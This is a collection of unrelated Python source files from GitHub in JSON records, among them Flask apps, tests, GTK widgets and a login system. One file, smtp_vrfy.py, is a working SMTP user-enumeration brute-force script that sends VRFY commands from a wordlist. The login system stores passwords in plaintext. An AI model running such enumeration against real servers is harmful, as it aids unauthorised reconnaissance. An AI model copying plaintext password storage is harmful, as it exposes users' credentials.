rev_book_dic)\n break\n if read_write == 'w':\n write_book(book_dic, rev_book_dic)\n break\n else:\n print('not valid')\n\n\n","repo_name":"Santa-Claws/singles","sub_path":"contact_book.py","file_name":"contact_book.py","file_ext":"py","file_size_in_byte":4141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32328184975","text":"from flask.views import MethodView\nfrom flask import request, jsonify\nfrom app.extensions import db\nfrom app.carrinho.model import Carrinho\n\nclass CarrinhoDetalhes(MethodView): \n def get(self):\n carrinhos = Carrinho.query.all()\n return jsonify([carrinho.json() for carrinho in carrinhos]),200\n\n def post(self):\n dados = request.json \n forma_pagamento = dados.get('forma_pagamento')\n preco_frete = dados.get('preco_frete')\n quantidade = dados.get('quantidade')\n preco_total = dados.get('preco_total')\n\n\n if isinstance (forma_pagamento,str) and isinstance (preco_frete,int) and isinstance (quantidade,int) and isinstance (preco_total,int):\n carrinho = Carrinho(forma_pagamento= forma_pagamento, preco_frete = preco_frete, quantidade = quantidade, preco_total = preco_total)\n db.session.add(carrinho)\n db.session.commit()\n return carrinho.json(),200\n return {\"code_status\":\"invalid data in request\"},400\n\nclass CarrinhoId(MethodView):\n def get (self,id):\n carrinho = Carrinho.query.get_or_404(id)\n return carrinho.json()\n\n def put (self,id):\n dados = request.json\n forma_pagamento = dados.get('forma_pagamento')\n preco_frete = dados.get('preco_frete')\n quantidade = dados.get('quantidade')\n preco_total = dados.get('preco_total')\n\n carrinho = Carrinho.query.get_or_404(id)\n carrinho.forma_pagamento = forma_pagamento\n carrinho.preco_frete = preco_frete\n carrinho.quantidade = quantidade\n carrinho.preco_total = preco_total\n db.session.commit()\n return carrinho.json(),200\n \n\n def patch (self,id):\n dados = request.json\n carrinho = Carrinho.query.get_or_404 (id)\n \n forma_pagamento = dados.get('forma_pagamento',Carrinho.forma_pagamento)\n preco_frete = dados.get('preco_frete', Carrinho.preco_frete)\n quantidade = dados.get('quantidade',Carrinho.quantidade)\n preco_total = dados.get('preco_total',Carrinho.preco_total)\n\n carrinho.forma_pagamento = forma_pagamento\n carrinho.preco_frete = preco_frete\n carrinho.quantidade = quantidade\n carrinho.preco_total = preco_total\n db.session.commit()\n return carrinho.json(),200\n \n\n def delete(self,id):\n carrinho = Carrinho.query.get_or_404(id)\n db.session.delete (carrinho)\n db.session.commit ()\n return {\"code_status\":\"deletado\"},200\n\n","repo_name":"karenarcoverde/loja-fluxo","sub_path":"app/carrinho/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":2525,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36099543449","text":"# this runs in the start when app.run is called since the constructor\n\n\n# -----> trivial file sections\nfrom app.howdoi_logic.search_with_howdoi import send_output\nfrom flask import Flask, jsonify, render_template, send_file, make_response\nfrom flask_restful import Api, reqparse\nfrom app.utils.helpers import api_response\nfrom app.utils.search import get_output\nimport json\n\n# ------> \n# creating an instance of flask \napp = Flask(__name__)\n# api calling utility\napi = Api(app)\n\n\ndef search_which_parser():\n parser = reqparse.RequestParser()\n parser.add_argument('query')\n return parser\n\n# if it is the home route\n@app.route('/')\ndef home():\n # get your parser from function at line 18\n parser = search_which_parser()\n tokens = parser.parse_args()\n # if howdpi runs fine and works perfectly \n if tokens.get('query'):\n output = send_output(tokens['query'])\n # now come the headers\n # howdoi uses text and html fils for answer rendering \n headers = {'Content-Type': 'text/html'}\n with open('./data.json' 'r+') as my_data:\n # getting the data inside file\n my_object = json.load(my_data)\n # count stores thenumber of times howdoi flask was used for searching\n count = my_object['count']\n count+=1\n # reqrite the data back into the file\n my_object['count'] = count\n my_data.seek(0)\n my_data.truncate\n json.dump(my_object, my_data, indent = 4)\n my_data.close()\n # make response with code 200=> ok\n return make_response(render_template('result.html', output=str(output), query=str(tokens['query'])), 200, headers)\n # if howdoi doesnt give ans\n else:\n # still update the count \n with open('./datanjson' , 'r+') as my_data:\n my_object = json.load(my_data)\n count = my_object['count']\n my_data.close()\n # return the home page itself but with changes count \n return render_template('home.html', count=count)\n","repo_name":"MLH-Fellowship/howdoi-flask-app","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41509768214","text":"# UnionFind class\nclass UnionFind:\n def __init__(self):\n self.root = {chr(i):chr(i) for i in range(97, 124)}\n self.rank = {chr(i):1 for i in range(97, 124)}\n\n def find(self, x):\n if x == self.root[x]:\n return x\n self.root[x] = self.find(self.root[x])\n return self.root[x]\n\n # The union function with union by rank\n def union(self, x, y):\n rootX = self.find(x)\n rootY = self.find(y)\n if rootX != rootY:\n if self.rank[rootX] > self.rank[rootY]:\n self.root[rootY] = rootX\n elif self.rank[rootX] < self.rank[rootY]:\n self.root[rootX] = rootY\n else:\n self.root[rootY] = rootX\n self.rank[rootX] += 1\n\n def connected(self, x, y):\n return self.find(x) == self.find(y)\nclass Solution:\n def equationsPossible(self, equations: List[str]) -> bool:\n \n uf = UnionFind()\n equal = []\n not_equal = []\n\n for equation in equations:\n var1, eq, var2 = equation[0] , equation[1:3] , equation[-1]\n if eq == '==':\n equal.append(equation)\n \n else:\n not_equal.append(equation)\n for equation in equal:\n var1, eq, var2 = equation[0] , equation[1:3] , equation[-1]\n uf.union(var1, var2)\n \n for equation in not_equal:\n var1, eq, var2 = equation[0] , equation[1:3] , equation[-1]\n if uf.connected(var1, var2):\n return False\n \n \n \n return True\n \n \n \n ","repo_name":"sahib-sem/A2SV-group42-","sub_path":"0990-satisfiability-of-equality-equations/0990-satisfiability-of-equality-equations.py","file_name":"0990-satisfiability-of-equality-equations.py","file_ext":"py","file_size_in_byte":1673,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"36590021983","text":"#!/usr/bin/python\n\nimport os\nimport socket\nimport sys\nimport datetime\n\n# check for required args / print usage info\nif len(sys.argv) != 3:\n print(\"[*] Usage: smtp_vrfy.py \")\n sys.exit(0)\n\n# Execution start time\nstart=datetime.datetime.now()\nprint(\"[*] Initiating smtp brute force @{}\".format(start))\nprint(\"\")\n\n# open the wordlist file and readlines\ntry:\n w_open=open(sys.argv[1], \"r\") #\n wordlist=w_open.readlines()\nexcept:\n print(\"[!] Error file not found --> exiting\")\n sys.exit(0)\n\n# create a socket\ntry:\n s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n print(\"[*] Socket successfully created\")\nexcept socket.error() as err:\n print(\"[!] Socket creation failed with error code \" + err + \" --> exiting\")\n sys.exit(0)\n\n# connect to socket\ntry:\n connect=s.connect((sys.argv[2],25))\n print(\"[*] Socket successfully connected to \" + sys.argv[2])\n print(\"[*] Grabbing banner --->\\n\")\n banner=s.recv(1024)\n print(banner)\nexcept:\n print(\"[!] Socket failed to connect --> exiting\")\n sys.exit(0)\n\n# clean the lines / iterate over the wordlist / receive and print the result\ntry:\n for line in wordlist:\n line=line.rstrip()\n print(\"[*] Trying \" + line)\n s.send('VRFY ' + line + '\\r\\n')\n result=s.recv(1024) # receive the result\n with open(\"/tmp/.vrfy\", \"w\") as outfile:\n print >>outfile, result\n os.system(\"cat /tmp/.vrfy | grep 250; echo ' '\")\nexcept:\n print(\"\\n[!] Failed sending VRFY request --> exiting\")\n sys.exit(0)\n\n# Execution end time\nt_elapsed=datetime.datetime.now() - start\nprint('[*] Script completed (hh:mm:ss:ms) {}'.format(t_elapsed))\n\n# exit cleanly\nos.system(\"rm /tmp/.vrfy\")\ns.close()\nsys.exit(0)\n","repo_name":"flamebarke/smtp_brute","sub_path":"smtp_vrfy.py","file_name":"smtp_vrfy.py","file_ext":"py","file_size_in_byte":1740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"20592750688","text":"# operacoes = ['Abrir', 'Exportar', 'Adicionar', 'Formatar']\n\n# aux = 0\n# print(\"\\nDigite o número da operação abaixo que deseja realizar:\")\n# for opcao in operacoes:\n# print(f\"{aux} - {opcao}\")\n# aux += 1\nimport os.path\nnome = 'abre'\next = '.txt'\npath = input()\n\nnomeCom = os.path.join(path, nome+ext)\n\nwith open(nomeCom,\"w\") as f:\n f.write('aaaaaaabbbbbbbbbbbbaaaaaaa')","repo_name":"robertaalcantara/NonFAT","sub_path":"teste.py","file_name":"teste.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72211285334","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport pytest\nimport mtg_parser\nfrom .utils import mock_response\n\n\n@pytest.mark.parametrize('src', [\n 'https://aetherhub.com/Deck/mtg-parser-3-amigos',\n 'https://www.archidekt.com/decks/1365846/',\n 'https://deckstats.net/decks/30198/2034245--mtg-parser-3-amigos',\n 'https://www.moxfield.com/decks/Agzx8zsi5UezWBUX5hMJPQ',\n 'https://www.mtggoldfish.com/deck/3935836',\n 'https://mtgjson.com/api/v5/decks/BreedLethality_CM2.json',\n 'https://scryfall.com/@gorila/decks/e7aceb4c-29d5-49f5-9a49-c24f64da264b',\n 'https://tappedout.net/mtg-decks/mtg-parser-3-amigos/',\n 'https://decks.tcgplayer.com/magic/commander/gorila/mtg-parser--3-amigos/1384198',\n])\ndef test_can_handle_succdeeds(src):\n result = mtg_parser.can_handle(src)\n\n assert result\n\n\n@pytest.mark.parametrize('src, mocked_responses', [\n [\n 'https://aetherhub.com/Deck/mtg-parser-3-amigos',\n [{\n 'pattern': r'https://aetherhub.com/Deck/(?!FetchMtgaDeckJson)',\n 'response': 'mock_aetherhub_3-amigos',\n }, {\n 'pattern': r'https://aetherhub.com/Deck/FetchMtgaDeckJson',\n 'response': 'mock_aetherhub_3-amigos_json',\n }]\n ],\n [\n 'https://www.archidekt.com/decks/1365846/',\n [{\n 'pattern': r'https://www.archidekt.com/',\n 'response': 'mock_archidekt_1365846_small',\n }],\n ],\n [\n 'https://deckstats.net/decks/30198/2034245--mtg-parser-3-amigos',\n [{\n 'pattern': r'https://deckstats.net/',\n 'response': 'mock_deckstats_30198_2034245',\n }],\n ],\n [\n 'https://www.moxfield.com/decks/Agzx8zsi5UezWBUX5hMJPQ',\n [{\n 'pattern': r'https://.*?moxfield.com',\n 'response': 'mock_moxfield_Agzx8zsi5UezWBUX5hMJPQ',\n }],\n ],\n [\n 'https://www.mtggoldfish.com/deck/3935836',\n [{\n 'pattern': r'https://www.mtggoldfish.com',\n 'response': 'mock_mtggoldfish_3-amigos',\n }],\n ],\n [\n 'https://scryfall.com/@gorila/decks/e7aceb4c-29d5-49f5-9a49-c24f64da264b',\n [{\n 'pattern': r'(https?://)?(www\\.)?scryfall\\.com',\n 'response': 'mock_scryfall_e7aceb4c-29d5-49f5-9a49-c24f64da264b',\n }],\n ],\n [\n 'https://tappedout.net/mtg-decks/mtg-parser-3-amigos/',\n [{\n 'pattern': r'https://tappedout.net/',\n 'response': 'mock_tappedout_3-amigos',\n }],\n ],\n [\n 'https://decks.tcgplayer.com/magic/commander/gorila/mtg-parser--3-amigos/1384198',\n [{\n 'pattern': r'https://.*?tcgplayer.com',\n 'response': 'mock_tcgplayer_3-amigos',\n }],\n ],\n [\n \"\"\"\n 1 Atraxa, Praetors' Voice\n 1 Imperial Seal\n 1 Jeweled Lotus (CMR) 319\n 1 Lim-Dûl's Vault\n 1 Llanowar Elves (M12) 182\n 3 Brainstorm #Card Advantage #Draw\n \"\"\",\n [],\n ],\n])\ndef test_parse_deck(requests_mock, src, mocked_responses):\n for mocked_response in mocked_responses:\n mock_response(\n requests_mock,\n mocked_response['pattern'],\n mocked_response['response'],\n )\n\n result = mtg_parser.parse_deck(src)\n\n assert result and all(result)\n\n\n@pytest.mark.parametrize('src', [\n 42,\n])\ndef test_parse_deck_fails(src):\n result = mtg_parser.parse_deck(src)\n\n assert not result\n","repo_name":"lheyberger/mtg-parser","sub_path":"tests/test_parser.py","file_name":"test_parser.py","file_ext":"py","file_size_in_byte":3484,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"67"} +{"seq_id":"3511664883","text":"import gtk\nimport vte\nfrom ocsetup_ui_constants import OC_SELECTED_BTN_BG, OC_SELECTED_TAB_BG,\\\n OC_LOG_PAGE_BG, OC_INIT_BTN_BG,\\\n OC_BUTTON_LIST_HEIGHT, OC_COLOR_BUTTON_HEIGHT,\\\n OC_LOG_WIN_WIDTH, OC_LOG_WIN_HEIGHT,\\\n OC_ALIGNMENT_CONTENT_X, OC_ALIGNMENT_CONTENT_Y,\\\n OC_PAGE_WIDGET_HPADDING,\\\n OC_PADDING_CONTENT_FIRST,\\\n OC_PADDING_CONTENT_NEXT,\\\n OC_PADDING_TITLE,\\\n OC_PADDING_LIST,\\\n OC_TEXT_WIDTH, OC_TEXT_HEIGHT,\\\n OC_DETAILEDLIST_HEIGHT,\\\n OC_DETAILED_LIST_HEIGHT, GTK_SIGNAL_KEY_PRESS,\\\n GTK_SIGNAL_CHILD_EXIT, GTK_SIGNAL_CLICKED,\\\n GTK_SIGNAL_CLICK_DETAILLIST, GTK_SIGNAL_FOCUS_OUT,\\\n GTK_SIGNAL_CHECKED, GTK_SIGNAL_ENTRY_ENTER,\\\n OC_WIDTH, OC_HEIGHT,\\\n OC_DEFAULT\nimport datautil\nfrom wrapper_ovirtfunctions import new_attr\n\n\nclass ColorWidget(gtk.EventBox):\n\n def __init__(self, GtkWidget, *args, **kwargs):\n super(ColorWidget, self).__init__()\n self.color_widget = getattr(gtk, GtkWidget)(*args)\n self.add(self.color_widget)\n self.init_color = kwargs.get('init_color', None)\n label = kwargs.get('label', \"\")\n signals_to_handle = kwargs.get('signals_to_handle', [])\n if self.init_color is not None:\n self.change_color('bg', gtk.STATE_NORMAL, self.init_color)\n for signal in signals_to_handle:\n self.color_widget.connect(\n signal,\n getattr(self, signal.replace('-', '_').lower() + '_cb'))\n if label:\n self.color_widget.set_label(label)\n\n def change_color(self, category, state, color):\n _color = gtk.gdk.Color(color)\n modifier = \"modify_%s\" % category\n if isinstance(self.color_widget, gtk.Label):\n getattr(self, modifier)(state, _color)\n else:\n getattr(self.color_widget, modifier)(state, _color)\n\n\nclass EmptyArea(gtk.Label):\n\n def __init__(self, width, height):\n super(EmptyArea, self).__init__()\n self.set_size_request(width, height)\n\n\nclass ColorLabel(ColorWidget):\n\n def __init__(self, label, color):\n super(ColorLabel, self).__init__(\n 'Label', label=label, init_color=color)\n\n\nclass ColorButton(ColorWidget):\n\n def __init__(\n self, label, init_btn_bg=OC_INIT_BTN_BG,\n signals_to_handle=[\n \"focus-in-event\", \"focus-out-event\",\n \"state-changed\"]):\n super(ColorButton, self).__init__(\n 'Button', label=label,\n init_color=OC_INIT_BTN_BG,\n signals_to_handle=signals_to_handle)\n\n def focus_in_event_cb(self, widget, event):\n self.change_color('bg', gtk.STATE_NORMAL, OC_SELECTED_BTN_BG)\n\n def focus_out_event_cb(self, widget, event):\n self.change_color('bg', gtk.STATE_NORMAL, OC_INIT_BTN_BG)\n\n def state_changed_cb(self, widget, state):\n if state == gtk.STATE_PRELIGHT:\n self.change_color('bg', gtk.STATE_PRELIGHT, OC_SELECTED_BTN_BG)\n\n\nclass ColorNotebookTab(ColorWidget):\n\n def __init__(\n self, label, init_btn_bg=OC_SELECTED_TAB_BG,\n signals_to_handle=[]):\n super(ColorNotebookTab, self).__init__(\n 'Label', label=label,\n init_color=OC_SELECTED_TAB_BG,\n signals_to_handle=signals_to_handle)\n self.show_all()\n\n def get_label(self):\n return self.color_widget.get_label()\n\n\nclass ColorVBox(ColorWidget):\n\n def __init__(self, init_color, *args):\n super(ColorVBox, self).__init__('VBox', init_color=init_color, *args)\n self.set_border_width(0)\n self.modify_bg(gtk.STATE_NORMAL, gtk.gdk.Color(init_color))\n\n\nclass ButtonList(gtk.HButtonBox):\n\n def __init__(self, data):\n super(ButtonList, self).__init__()\n labels = data['labels']\n btn_nr = len(labels)\n callbacks = data.get('callback', [lambda _:_] * btn_nr)\n signal = data.get('signal', 'clicked')\n btn_type = data.get('type', 'Button')\n self.set_layout(gtk.BUTTONBOX_END)\n self.btns = []\n for t, cb in zip(labels, callbacks):\n btn = getattr(gtk, btn_type)(t)\n btn.connect(signal, cb)\n self.btns.append(btn)\n self.pack_start(btn, False, False, padding=5)\n self.set_size_request(-1, OC_BUTTON_LIST_HEIGHT)\n\n\nclass RadioButtonList(gtk.HButtonBox):\n\n def __init__(self, data):\n super(RadioButtonList, self).__init__()\n labels = data['labels']\n btn_nr = len(labels)\n signal = data.get('signal', GTK_SIGNAL_CHECKED)\n callbacks = data.get('callback', [lambda _:_] * btn_nr)\n btn_nr = len(labels)\n self.set_layout(gtk.BUTTONBOX_END)\n self.btns = []\n for t, cb in zip(labels, callbacks):\n if len(self.btns) == 0:\n btn = gtk.RadioButton(None, t)\n else:\n btn = gtk.RadioButton(self.btns[-1], t)\n btn.connect(signal, cb)\n self.btns.append(btn)\n self.pack_start(btn, False, False, padding=5)\n self.set_size_request(-1, OC_BUTTON_LIST_HEIGHT)\n\n\nclass ApplyResetBtn(ButtonList):\n\n def __init__(self, data={}):\n apply_cb = data.get('apply_cb', None) or datautil.conf_apply\n reset_cb = data.get('reset_cb', None) or datautil.conf_reset\n super(ApplyResetBtn, self).__init__({'labels':\n ['Apply', 'Reset'],\n 'callback':\n [apply_cb,\n reset_cb]})\n\n\nclass DetailedList(gtk.ScrolledWindow):\n\n def __init__(self, data):\n gtk.ScrolledWindow.__init__(self)\n self.set_policy(gtk.POLICY_NEVER, gtk.POLICY_AUTOMATIC)\n labels = data['labels']\n liststore = gtk.ListStore(*([str] * len(labels)))\n self.treeview = gtk.TreeView(liststore)\n if data.get('callback'):\n self.treeview.connect(data.get(\n 'signal',\n GTK_SIGNAL_CLICK_DETAILLIST),\n data['callback'])\n # store a copy of dats for callback to use.\n self.treeview.treeview_datas = []\n for idx, label in enumerate(labels):\n self.treeview.insert_column_with_attributes(\n -1, label, gtk.CellRendererText(), text=idx)\n self.add(self.treeview)\n self._liststore = liststore\n self.treeview.set_size_request(-1, OC_DETAILED_LIST_HEIGHT)\n\n def show_conf(self, list_of_entry):\n self._liststore.clear()\n for v in list_of_entry:\n self.treeview.treeview_datas.append(v)\n self._liststore.append(v)\n\n\nclass ValidateEntry(gtk.VBox):\n\n def __init__(self, datas):\n super(ValidateEntry, self).__init__(False, 0)\n validator = datas.get('validator')\n entry_init_func = datas.get('entry_init_func', ())\n entry_init_func_args = datas.get('entry_init_func_args', ()) + \\\n ((),) * len(entry_init_func)\n vstatus_init_func = datas.get('vstatus_init_func', ())\n vstatus_init_func_args = datas.get('vstatus_init_func_args', ()) + \\\n ((),) * len(vstatus_init_func)\n self.entry = gtk.Entry()\n self.set_text = self.entry.set_text\n self.get_text = self.entry.get_text\n self.get_oc_value = self.entry.get_text\n self.entry.set_size_request(OC_DEFAULT, OC_TEXT_HEIGHT)\n self.entry.connect(\n GTK_SIGNAL_FOCUS_OUT,\n datautil.validator_disp, validator)\n # the second params for validator_disp is useless.\n self.entry.connect(\n GTK_SIGNAL_ENTRY_ENTER,\n datautil.validator_disp, None, validator)\n self.validate_status = gtk.Label()\n self.validate_status.set_size_request(OC_DEFAULT, OC_TEXT_HEIGHT)\n self.bool_validate_state = 0\n self.pack_start(self.entry, False, False, 0)\n self.pack_start(self.validate_status, False, False, 0)\n if entry_init_func:\n for func, args in zip(entry_init_func, entry_init_func_args):\n getattr(self.entry, func)(*args)\n if vstatus_init_func:\n for func, args in zip(vstatus_init_func, vstatus_init_func_args):\n getattr(self.validate_status, func)(*args)\n\n\nclass ShellWindow(gtk.Window):\n\n def __init__(self, parent=None, confirm=False, confirm_msg=\"\"):\n super(ShellWindow, self).__init__(gtk.WINDOW_TOPLEVEL)\n self.is_shell_hide = False\n self.is_shell_exited = True\n self.swparent = parent\n self.confirm = confirm\n self.confirm_msg = confirm_msg\n self.swparent.connect(GTK_SIGNAL_KEY_PRESS, self.toggle)\n self.connect(GTK_SIGNAL_KEY_PRESS, self.toggle)\n\n def shell_show(self, command=None):\n if self.is_shell_exited:\n if self.swparent:\n w, h = self.swparent.get_size()\n self.set_size_request(w, h)\n self.set_position(gtk.WIN_POS_CENTER)\n self.shell_main = vte.Terminal()\n self.shell_main.fork_command()\n self.shell_main.connect(GTK_SIGNAL_CHILD_EXIT, self.shell_exit)\n if command:\n self.shell_main.feed_child(command)\n self.add(self.shell_main)\n self.is_shell_exited = False\n self.show_all()\n elif self.is_shell_hide:\n self.is_shell_hide = False\n self.present()\n\n def shell_exit(self, terminal):\n terminal.destroy()\n self.hide()\n self.is_shell_exited = True\n\n def toggle(self, widget, event):\n key = gtk.gdk.keyval_name(event.keyval)\n if key == 'F2':\n if self.is_shell_exited or self.is_shell_hide:\n if(self.confirm is False or\n ConfirmDialog(self.confirm_msg).run_and_close() ==\n gtk.RESPONSE_OK):\n self.shell_show()\n else:\n self.hide()\n self.is_shell_hide = True\n\n\nclass LogWindow(gtk.Window):\n\n def __init__(self, parent=None):\n super(LogWindow, self).__init__(gtk.WINDOW_TOPLEVEL)\n self.logshell = ShellWindow(self)\n self.set_position(gtk.WIN_POS_CENTER)\n self.is_logwin_hide = True\n self.files = (\n '/var/log/messages', '/var/log/vdsm/vdsm.log',\n '/var/log/ovirt.log')\n if parent:\n self.swparent = parent\n w, h = self.swparent.get_size()\n self.set_size_request(w, h)\n self.swparent.connect(GTK_SIGNAL_KEY_PRESS, self.toggle)\n self.connect(GTK_SIGNAL_KEY_PRESS, self.toggle)\n v = gtk.VBox(False, 3)\n v.pack_start(gtk.Label(\"Choose log file to view\"), False, False)\n sg_btn = gtk.SizeGroup(gtk.SIZE_GROUP_BOTH)\n for f in self.files:\n btn = ColorButton(f.split('/')[-1])\n btn.color_widget.connect(GTK_SIGNAL_CLICKED, self.log_show, f)\n btn.color_widget.set_size_request(-1, OC_COLOR_BUTTON_HEIGHT)\n sg_btn.add_widget(btn)\n h = gtk.HBox()\n h.pack_start(btn, True, False)\n v.pack_start(h, False, False)\n btn_back = ColorButton('Back')\n btn_back.color_widget.connect(\n GTK_SIGNAL_CLICKED,\n lambda _: self.hide())\n alignb = gtk.Alignment()\n alignb.add(btn_back)\n alignb.set_size_request(OC_LOG_WIN_WIDTH, OC_LOG_WIN_HEIGHT)\n sg_btn.add_widget(btn_back)\n alignb.set(1, 1, 0, 0)\n v.pack_start(alignb, True, False)\n align = ColorWidget('Alignment', 0.5, 0.5, 0, 0,\n init_color=OC_LOG_PAGE_BG)\n align.color_widget.add(v)\n self.add(align)\n\n def toggle(self, widget, event):\n key = gtk.gdk.keyval_name(event.keyval)\n if key == 'F8':\n if self.is_logwin_hide:\n self.show_all()\n else:\n self.hide()\n self.is_logwin_hide = not self.is_logwin_hide\n\n def log_show(self, _, filename):\n self.logshell.shell_show('less %s; exit\\n' % filename)\n\n\nclass NetworkDetailWindows(gtk.Window):\n\n def __init__(self, obj, path, row):\n super(NetworkDetailWindows, self).__init__(gtk.WINDOW_TOPLEVEL)\n self.set_position(gtk.WIN_POS_CENTER)\n self.set_default_size(OC_WIDTH, OC_HEIGHT)\n from ocsetup_ui import NetworkDetail\n page_layout = NetworkDetail(obj.treeview_datas[path[0]])\n page = OcPage(page_layout)\n new_attr(self, 'page_' + page_layout[0], page)\n self.add(page)\n datautil.datas_refresh(page.oc_widgets)\n self.show_all()\n\n\nclass ConfirmDialog(gtk.MessageDialog):\n\n def __init__(self, parent=None, message=\"\", buttons=gtk.BUTTONS_OK_CANCEL):\n super(ConfirmDialog, self).__init__(\n flags=gtk.DIALOG_MODAL,\n type=gtk.MESSAGE_WARNING, buttons=buttons,\n message_format=message)\n self.set_position(gtk.WIN_POS_CENTER)\n self.set_title(\"Continue?\")\n\n def run_and_close(self):\n resp_id = self.run()\n self.destroy()\n return resp_id\n\n\nclass ProgressBar(gtk.Window):\n def __init__(self):\n super(ProgressBar, self).__init__(gtk.WINDOW_TOPLEVEL)\n vbox = gtk.VBox(False, 5)\n self.progressbar = gtk.ProgressBar()\n vbox.pack_start(self.progressbar)\n self.progress_label = gtk.Label('Progress:')\n self.btn_destroy = gtk.Button(\"OK\")\n self.btn_destroy.connect(GTK_SIGNAL_CLICKED, lambda _: self.destroy())\n vbox.pack_start(self.progress_label)\n vbox.pack_start(self.btn_destroy)\n self.fraction = 0\n self.set_position(gtk.WIN_POS_CENTER_ALWAYS)\n self.add(vbox)\n self.show_all()\n while gtk.events_pending():\n gtk.main_iteration()\n\n def make_progress(self, fraction, text=None):\n self.progressbar.set_text(\n \"Progressed: %s\" %\n (str(fraction * 100) + '%' if text is None else text))\n self.progressbar.set_fraction(fraction)\n while gtk.events_pending():\n gtk.main_iteration()\n\n def set_text(self, text):\n self.progressbar.set_text(text)\n\n\nclass OcPage(gtk.VBox):\n\n def __init__(self, layout):\n super(OcPage, self).__init__(False, 10)\n self.oc_widgets = {}\n for ir, item_row in enumerate(layout[2]):\n hbox = gtk.HBox(False)\n if ir == (len(layout[2]) - 1):\n hbox.pack_start(gtk.Label(), True, False)\n for i, item in enumerate(item_row):\n # check to create item via gtk basic class\n # or via comstum functions which is callable\n if callable(item['type']):\n if item.get('params'):\n _item = item['type'](item['params'])\n else:\n _item = item['type']()\n item['type'] = 'custom'\n else:\n _item = self._create_item(item)\n _item.get_conf = item.get('get_conf', None)\n _item.get_conf_args = item.get('get_conf_args', None)\n _item.set_conf = item.get('set_conf', None)\n _item.conf_path = item.get('conf_path', None)\n new_attr(self, item['name'] + '_' + item['type'], _item)\n self.oc_widgets['%s_%s' % (item['name'], item['type'])] = _item\n if isinstance(_item, DetailedList):\n hbox.set_size_request(OC_DEFAULT, OC_DETAILEDLIST_HEIGHT)\n if item.get('vhelp'):\n hbox.set_size_request(OC_DEFAULT, item['vhelp'])\n # We need to set 'DOUBLE ALIGMENT HERE:'\n # first sets the alignment of text inside the hbox label.\n # then, sets the the alignment of label inside the hbox.\n # and finally, pack the widget into the hbox.\n if hasattr(_item, 'set_alignment'):\n if isinstance(_item, gtk.Entry):\n _item.set_alignment(OC_ALIGNMENT_CONTENT_X)\n else:\n _item.set_alignment(OC_ALIGNMENT_CONTENT_X,\n OC_ALIGNMENT_CONTENT_Y)\n alig = gtk.Alignment()\n alig.add(_item)\n if item.get('title'):\n alig.set_padding(0, 0, OC_PADDING_TITLE, 0)\n else:\n if i == 0:\n alig.set_padding(0, 0, OC_PADDING_CONTENT_FIRST, 0)\n else:\n alig.set_padding(0, 0, OC_PADDING_CONTENT_NEXT, 0)\n if isinstance(_item, (gtk.CheckButton, DetailedList)):\n alig.set(0, 0, 1, 1)\n alig.set_padding(0, 0, OC_PADDING_LIST, OC_PADDING_LIST)\n hbox.pack_start(alig, True, True)\n else:\n hbox.pack_start(alig, False, False)\n self.pack_start(\n hbox, False, False,\n padding=OC_PAGE_WIDGET_HPADDING)\n\n def _create_item(self, data):\n itype = data['type']\n label = data.get('label')\n value = data.get('value')\n init_func = data.get('init_func')\n init_func_args = data.get('init_func_args')\n item = getattr(gtk, itype)()\n item.set_size_request(OC_DEFAULT, OC_TEXT_HEIGHT)\n if value and hasattr(item, 'set_text'):\n item.set_text(value)\n elif label and hasattr(item, 'set_label'):\n item.set_label(label)\n if itype == 'Label':\n text_width = data.get('width') or OC_TEXT_WIDTH\n item.set_width_chars(text_width)\n if len(label) > OC_TEXT_WIDTH:\n item.set_line_wrap(True)\n item.set_size_request(\n OC_DEFAULT,\n OC_TEXT_HEIGHT * ((len(label) // text_width) + 1))\n if init_func is not None:\n for func, args in zip(init_func, init_func_args):\n getattr(item, func)(*args)\n return item\n","repo_name":"jarod-w/ocsetup","sub_path":"ocsetup/ocsetup_ui_widgets.py","file_name":"ocsetup_ui_widgets.py","file_ext":"py","file_size_in_byte":18129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42576194577","text":"\"\"\"A simple login system.\"\"\"\n\nimport json\nimport os\n\n\n# Classes\n# ===============================================================================\nclass User(object):\n \"\"\"A user.\"\"\"\n\n def __init__(self, name, pswd):\n \"\"\"Setup this user.\"\"\"\n self.name = name\n self.pswd = pswd\n\n def __eq__(self, user):\n \"\"\"Compare this user to the given user.\"\"\"\n return self.name == user.name and self.pswd == user.pswd\n\n def say_hello(self):\n \"\"\"Say hello to this user.\"\"\"\n print(\"Hello {}!\".format(self.name))\n\n\nclass LoginSys(object):\n \"\"\"A simple login system.\"\"\"\n\n def __init__(self):\n \"\"\"Setup this login system.\"\"\"\n # Load the user data\n print(\"Loading user data...\", end=\"\")\n self.users = []\n\n if not os.path.exists(\"users.json\"):\n print(\"ok\")\n return\n\n with open(\"users.json\", \"r\") as f:\n user_data = json.load(f)\n\n for user in user_data:\n self.users.append(User(user[\"name\"], user[\"pswd\"]))\n\n print(\"ok\")\n\n def save(self):\n \"\"\"Save the modified user data.\"\"\"\n # Save user data\n print(\"Saving user data...\", end=\"\")\n user_data = [{\"name\": user.name, \"pswd\": user.pswd}\n for user in self.users]\n\n with open(\"users.json\", \"w\") as f:\n json.dump(user_data, f)\n\n print(\"ok\")\n\n def login(self, name, pswd):\n \"\"\"Log in using the given username and password.\"\"\"\n # Create current user\n current_user = User(name, pswd)\n\n # See if the current user matches any of the users in the list of\n # authorized users.\n for user in self.users:\n if current_user == user:\n return current_user\n\n # No users matched\n return None\n\n def register(self, name, pswd):\n \"\"\"Register a new user.\"\"\"\n # Make sure the given username isn't used already\n for user in self.users:\n if user.name == name:\n return False\n\n # Add the new user\n self.users.append(User(name, pswd))\n 